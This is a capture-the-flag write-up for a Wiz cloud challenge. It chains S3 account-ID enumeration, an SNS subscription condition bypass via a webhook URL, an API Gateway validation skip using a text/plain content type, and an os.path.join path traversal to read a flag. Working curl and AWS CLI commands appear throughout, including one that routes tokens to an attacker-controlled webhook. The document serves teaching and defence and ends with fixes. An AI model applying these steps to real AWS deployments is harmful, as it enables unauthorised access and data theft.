> For the complete documentation index, see [llms.txt](https://kabinet.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kabinet.gitbook.io/ctf-writeup/2026/wiz-cloud-security-challenge/happy-birthday.md).

# Happy Birthday

### Challenge Description

<figure><img src="/files/tbXXC7EgWEUJEdAjvtWB" alt=""><figcaption></figcaption></figure>

***

### Table of Contents

* [Challenge Description](#challenge-description)
* [Table of Contents](#table-of-contents)
* [Solution Overview](#solution-overview)
* [Initial Analysis](#initial-analysis)
  * [Architecture Overview](#architecture-overview)
  * [Vulnerability Analysis](#vulnerability-analysis)
    * [1. S3 Account ID Enumeration via `s3:ResourceAccount`](#1-s3-account-id-enumeration-via-s3resourceaccount)
    * [2. SNS Topic Policy - `StringLike` Condition Bypass on HTTPS Endpoints](#2-sns-topic-policy---stringlike-condition-bypass-on-https-endpoints)
    * [3. API Gateway Request Body Validation Bypass](#3-api-gateway-request-body-validation-bypass)
    * [4. Path Traversal in `_read_template()`](#4-path-traversal-in-_read_template)
* [Main Exploitation](#main-exploitation)
  * [Step 1: Reconnaissance](#step-1-reconnaissance)
  * [Step 2: Discover the Bucket Owner Account ID](#step-2-discover-the-bucket-owner-account-id)
  * [Step 3: Subscribe to the SNS Topic via HTTPS](#step-3-subscribe-to-the-sns-topic-via-https)
  * [Step 4: Confirm the Subscription](#step-4-confirm-the-subscription)
  * [Step 5: Trigger the Lambda and Receive the Token](#step-5-trigger-the-lambda-and-receive-the-token)
* [Getting the Flag](#getting-the-flag)
  * [Step 6: Read the Flag via Path Traversal](#step-6-read-the-flag-via-path-traversal)
  * [Attack Chain Diagram](#attack-chain-diagram)
  * [Summary](#summary)

### Solution Overview

This challenge chains together a few small AWS mistakes across S3, SNS, API Gateway, and Lambda:

1. Identify the public website, API Gateway endpoints, and leaked SNS topic name.
2. Find the AWS account that owns the public S3 bucket and SNS topic.
3. Subscribe an HTTPS endpoint whose URL ends with the allowed email domain.
4. Capture the invitation token published by Lambda through SNS.
5. Send `Content-Type: text/plain` to skip API Gateway's JSON model check, then use `template="/flag"` to read `/flag.txt`.

The issue: the SNS policy checks only the raw endpoint string, and Lambda trusts API Gateway-side validation while building S3 keys with unsafe path joining.

### Initial Analysis

#### Architecture Overview

```mermaid
flowchart TD
    User["User"]
    CF["CloudFront<br/>d38bv9di8uuw93"]
    PublicS3["Public S3 bucket<br/>wiz-birthday-s3-party"]
    APIGW1["API Gateway<br/>gzk65xqjn8<br/>/generate and /register"]
    APIGW2["API Gateway<br/>uact7tlegi<br/>/generate and /register"]
    Lambda["Lambda<br/>GenerateBirthdayCard"]
    PrivateS3["Private S3 bucket<br/>templates and flag target"]
    Cards["Public S3 cards/<br/>generated birthday cards"]
    SNS["SNS topic<br/>BirthdayParty-Invites<br/>account 370540381921"]

    User --> CF
    CF --> PublicS3
    User --> APIGW1
    APIGW1 --> Lambda
    User --> APIGW2
    APIGW2 --> Lambda
    Lambda -->|reads from| PrivateS3
    Lambda -->|writes to| Cards
    Lambda -->|publishes to| SNS
```

Resources:

| Resource             | Value                                                     |
| -------------------- | --------------------------------------------------------- |
| Public S3 bucket     | `wiz-birthday-s3-party`                                   |
| Private S3 bucket    | `happy-birthday-private`                                  |
| SNS topic            | `arn:aws:sns:us-east-1:370540381921:BirthdayPartyInvites` |
| Lambda function      | `GenerateBirthdayCard`                                    |
| IAM user account     | `092297851374`                                            |
| Bucket owner account | `370540381921`                                            |

***

#### Vulnerability Analysis

Four security issues chain together to capture the flag:

**1. S3 Account ID Enumeration via `s3:ResourceAccount`**

The S3 bucket `wiz-birthday-s3-party` is publicly readable but owned by a *different* AWS account (`370540381921`) than the IAM user's account (`092297851374`). The SNS topic lives in the bucket owner's account, not the IAM user's account.

The account ID can be discovered using the `s3:ResourceAccount` IAM condition key. By creating an IAM role in your own AWS account with S3 read access and then re-assuming it with a session policy that restricts `s3:ResourceAccount` to a wildcard pattern (e.g., `"3*"`), you can determine each digit of the owner's account ID through binary elimination:

```
Digit 1: test 0* → denied, ... 3* → allowed → 3
Digit 2: test 30* → denied, 37* → allowed → 7
...
Result: 370540381921
```

The tool [s3recon](https://github.com/Experience-rookie/s3recon) automates this process.

> Note: You can also refer to this PwnedLabs Lab for a detailed walkthrough of this technique: <https://pwnedlabs.io/labs/identify-the-aws-account-id-from-a-public-s3-bucket>

**2. SNS Topic Policy - `StringLike` Condition Bypass on HTTPS Endpoints**

The SNS topic resource policy allows **any AWS principal** to subscribe, as long as the endpoint matches `*@cloudsecuritychampionship.com`:

```json
{
  "Effect": "Allow",
  "Principal": "*",
  "Action": "sns:Subscribe",
  "Condition": {
    "StringLike": {
      "sns:Endpoint": "*@cloudsecuritychampionship.com"
    }
  }
}
```

The condition is meant for email addresses, but `sns:Endpoint` is evaluated against the raw endpoint string for any protocol. For HTTPS subscriptions, the endpoint is a URL. A URL like:

```
https://webhook.site/<uuid>/user@cloudsecuritychampionship.com
```

ends with `@cloudsecuritychampionship.com`, satisfying the `StringLike` condition. The actual HTTP request still goes to `webhook.site`, which we control.

> Note: In official AWS Documentations, the Example policy reinforce this Condition with a `StringEquals` for `"sns:Protocol":"email:` <https://docs.aws.amazon.com/sns/latest/dg/sns-using-identity-based-policies.html#sns-example-policies>

<figure><img src="/files/q4Xlefr3BFgietYRlFZn" alt=""><figcaption></figcaption></figure>

**3. API Gateway Request Body Validation Bypass**

The API Gateway enforces a JSON schema model on the `/register` endpoint that only accepts `{"token": "string"}`. Extra fields like `template` and `name` are rejected:

```
POST /prod/register
Content-Type: application/json
{"token": "...", "template": "/flag", "name": "Test"}
→ 400: "Invalid request body"
```

However, API Gateway **only validates the body when `Content-Type` is `application/json`**. By sending `Content-Type: text/plain`, the body passes through to the Lambda unvalidated:

```
POST /prod/register
Content-Type: text/plain
{"token": "...", "template": "/flag", "name": "Test"}
→ 200 (Lambda processes all fields)
```

**4. Path Traversal in `_read_template()`**

The Lambda's `_read_template` function constructs an S3 key using `os.path.join`:

```python
def _read_template(template):
    if ".." in template:
        return None, "Invalid template name."
    template_key = os.path.join("templates", f"{template}.txt")
    obj = s3.get_object(Bucket=PRIVATE_BUCKET, Key=template_key)
    ...
```

While `..` is blocked, Python's `os.path.join` has a well-known behaviour: **if any component is an absolute path, all previous components are discarded**:

```python
>>> os.path.join("templates", "/flag.txt")
'/flag.txt'
```

Setting `template` to `/flag` produces key `/flag.txt`, reading an arbitrary file from the private S3 bucket instead of a file under `templates/`.

***

### Main Exploitation

#### Step 1: Reconnaissance

Identify the IAM user and confirm minimal permissions:

```bash
$ aws sts get-caller-identity
{
    "Account": "092297851374",
    "Arn": "arn:aws:iam::092297851374:user/user"
}
```

The IAM user only has `sts:GetCallerIdentity` and `sts:GetSessionToken`. No S3, Lambda, SNS, or other service permissions.

Explore the website and identify two API Gateways from the JavaScript source:

* `https://gzk65xqjn8.execute-api.us-east-1.amazonaws.com/prod/generate`
* `https://uact7tlegi.execute-api.us-east-1.amazonaws.com/prod/register`

Submit a non-company email to leak the SNS topic name:

```bash
$ curl -s https://gzk65xqjn8.execute-api.us-east-1.amazonaws.com/prod/generate -X POST \
    -H "Content-Type: application/json" \
    -d '{"email":"test@gmail.com"}'

{"status": "error", "message": "Only @cloudsecuritychampionship.com email
addresses are eligible. Invitations are delivered via the BirthdayPartyInvites
notification channel."}
```

<figure><img src="/files/pCo8ktd1HuFBnt92qoiG" alt=""><figcaption></figcaption></figure>

#### Step 2: Discover the Bucket Owner Account ID

The SNS topic `BirthdayPartyInvites` returns `NotFound` in account `092297851374`, so it lives in a different account. Use the `s3:ResourceAccount` technique to enumerate the owner of the public S3 bucket `wiz-birthday-s3-party`.

This can be verified with `x-amz-expected-bucket-owner`:

```bash
# Wrong account: 403
$ curl -s -o /dev/null -w "%{http_code}" \
    -H "x-amz-expected-bucket-owner: 092297851374" \
    "https://wiz-birthday-s3-party.s3.amazonaws.com/index.html"
403

# Correct account: 200
$ curl -s -o /dev/null -w "%{http_code}" \
    -H "x-amz-expected-bucket-owner: 370540381921" \
    "https://wiz-birthday-s3-party.s3.amazonaws.com/index.html"
200
```

**Account ID: `370540381921`**

#### Step 3: Subscribe to the SNS Topic via HTTPS

Create a webhook endpoint (e.g., via [webhook.site](https://webhook.site)) and subscribe using a URL that satisfies the `StringLike` condition:

```bash
aws sns subscribe \
    --topic-arn "arn:aws:sns:us-east-1:370540381921:BirthdayPartyInvites" \
    --protocol https \
    --notification-endpoint "https://webhook.site/<uuid>?x=@cloudsecuritychampionship.com" \
    --region us-east-1

{ "SubscriptionArn": "pending confirmation" }
```

<figure><img src="/files/uZI3V0suunr5DHhvfUUh" alt=""><figcaption></figcaption></figure>

#### Step 4: Confirm the Subscription

SNS sends a `SubscriptionConfirmation` POST to the webhook URL containing a `SubscribeURL`. Visit it to confirm:

```bash
$ curl -s "https://sns.us-east-1.amazonaws.com/?Action=ConfirmSubscription\
&TopicArn=arn:aws:sns:us-east-1:370540381921:BirthdayPartyInvites\
&Token=2336412f37fb687f5d51e6e2425929f52bf0d758426aae765b5095a0d50908f4f95ac9db544013a6d3630b6a144731551c5ea50e27336825a6cc0cca112ef27fcbd749a11db9afcd3cee80504c656fc3c5d44a2f0edb4cf4ddf7c3e268efda02c4d072ede63faf055183fd74d5846f3dc33299394e2a96cd02af80c2894a60e7"

<ConfirmSubscriptionResponse>
  <ConfirmSubscriptionResult>
    <SubscriptionArn>arn:aws:sns:us-east-1:370540381921:BirthdayPartyInvites:ac189017-...</SubscriptionArn>
  </ConfirmSubscriptionResult>
</ConfirmSubscriptionResponse>
```

<figure><img src="/files/rOUcyLfbexowZAvKmjd5" alt=""><figcaption></figcaption></figure>

#### Step 5: Trigger the Lambda and Receive the Token

Submit a valid company email to `/generate`. The Lambda generates an HMAC token and publishes it to the SNS topic. Our confirmed HTTPS subscription receives the message:

```bash
$ curl -s https://gzk65xqjn8.execute-api.us-east-1.amazonaws.com/prod/generate -X POST \
    -H "Content-Type: application/json" \
    -d '{"email":"solver@cloudsecuritychampionship.com"}'

{"status": "success", "message": "Invitation sent! Check your email."}
```

The SNS notification delivered to webhook.site:

<figure><img src="/files/yndHN46RyE93ZanAuD6q" alt=""><figcaption></figcaption></figure>

```json
{
  "message": "You're invited to the S3 Birthday Party!",
  "registration_url": "https://happybirthday.cloudsecuritychampionship.com/register.html?token=1775066505:f78bb61097547b8a",
  "token": "1775066505:f78bb61097547b8a",
  "expires_in": "1 hour",
  "generated_by": "GenerateBirthdayCard"
}
```

This also reveals the Lambda function name: `GenerateBirthdayCard`.

***

### Getting the Flag

<figure><img src="/files/X7yn6tRMplBbXi61HER8" alt=""><figcaption></figcaption></figure>

#### Step 6: Read the Flag via Path Traversal

Use the token with `Content-Type: text/plain` to bypass API Gateway validation, and set `template` to `/flag` for path traversal:

```bash
$ curl -s https://uact7tlegi.execute-api.us-east-1.amazonaws.com/prod/register -X POST \
    -H "Content-Type: text/plain" \
    -d '{"token":"1781537265:34c13db1f7fb8ab6","template":"/flag","name":"x"}'

{
  "status": "success",
  "message": "Registration complete! Here is your birthday card.",
  "card_url": "https://wiz-birthday-s3-party.s3.amazonaws.com/cards/b0b40a7f-....html"
}
```

<figure><img src="/files/PdD6ErQHPUGmLoMWcpqY" alt=""><figcaption></figcaption></figure>

Fetch the card:

```bash
$ curl -s "https://wiz-birthday-s3-party.s3.amazonaws.com/cards/6449f830-1b04-4b37-b998-7f3fb595ba2b.html"

WIZ_CTF{s3_turns_20_and_the_party_is_just_getting_started}
```

Flag: `WIZ_CTF{s3_turns_20_and_the_party_is_just_getting_started}`

***

#### Attack Chain Diagram

```mermaid
flowchart TD
    A["1. s3:ResourceAccount enumeration<br/>Find bucket owner account 370540381921"]
    B["2. SNS Subscribe condition bypass<br/>Use an HTTPS webhook URL ending in @cloudsecuritychampionship.com"]
    C["3. Confirm HTTPS subscription<br/>Open the SubscribeURL from the SNS confirmation message"]
    D["4. Trigger /generate<br/>Submit a company email so Lambda publishes an invitation token"]
    E["5. API Gateway bypass and path traversal<br/>Send Content-Type: text/plain with template=/flag"]
    F["6. Read public S3 card<br/>Lambda writes a card whose body contains the flag"]

    A --> B
    B --> C
    C --> D
    D --> E
    E --> F
```

***

#### Summary

| Misconfiguration                                               | Impact                                                                      | Fix                                                                                                                                                  |
| -------------------------------------------------------------- | --------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| `s3:ResourceAccount` leaks bucket owner                        | Attacker discovers the AWS account ID owning any accessible S3 bucket       | Use randomized bucket names; be aware that account IDs are not secrets in AWS's threat model, but treat them as an enumeration stepping stone        |
| SNS `StringLike` condition on `sns:Endpoint`                   | HTTPS URLs containing `@domain.com` bypass email-only intent                | Add a `StringEquals` condition on `sns:Protocol` to restrict to `email` only                                                                         |
| API Gateway body validation only applies to `application/json` | `Content-Type: text/plain` bypasses request model validation entirely       | Add Lambda-side input validation; don't rely on API Gateway models as a security boundary                                                            |
| `os.path.join` with user input                                 | Absolute paths override the base directory, enabling arbitrary S3 key reads | Use string concatenation or `PurePosixPath` instead of `os.path.join`; validate that the final key starts with the expected prefix                   |
| Token published to SNS topic with open subscription            | Anyone who can subscribe receives HMAC tokens                               | Don't transmit secrets through SNS topics with permissive resource policies; return tokens directly in the API response or use a secure side-channel |

1. The public website reveals the `/generate` API Gateway endpoint.
2. A validation error leaks the SNS topic name, and S3 owner checks identify the correct account.
3. The SNS resource policy can be bypassed with an HTTPS endpoint ending in `@cloudsecuritychampionship.com`.
4. `Content-Type: text/plain` bypasses API Gateway's JSON model validation, letting `template="/flag"` reach Lambda.
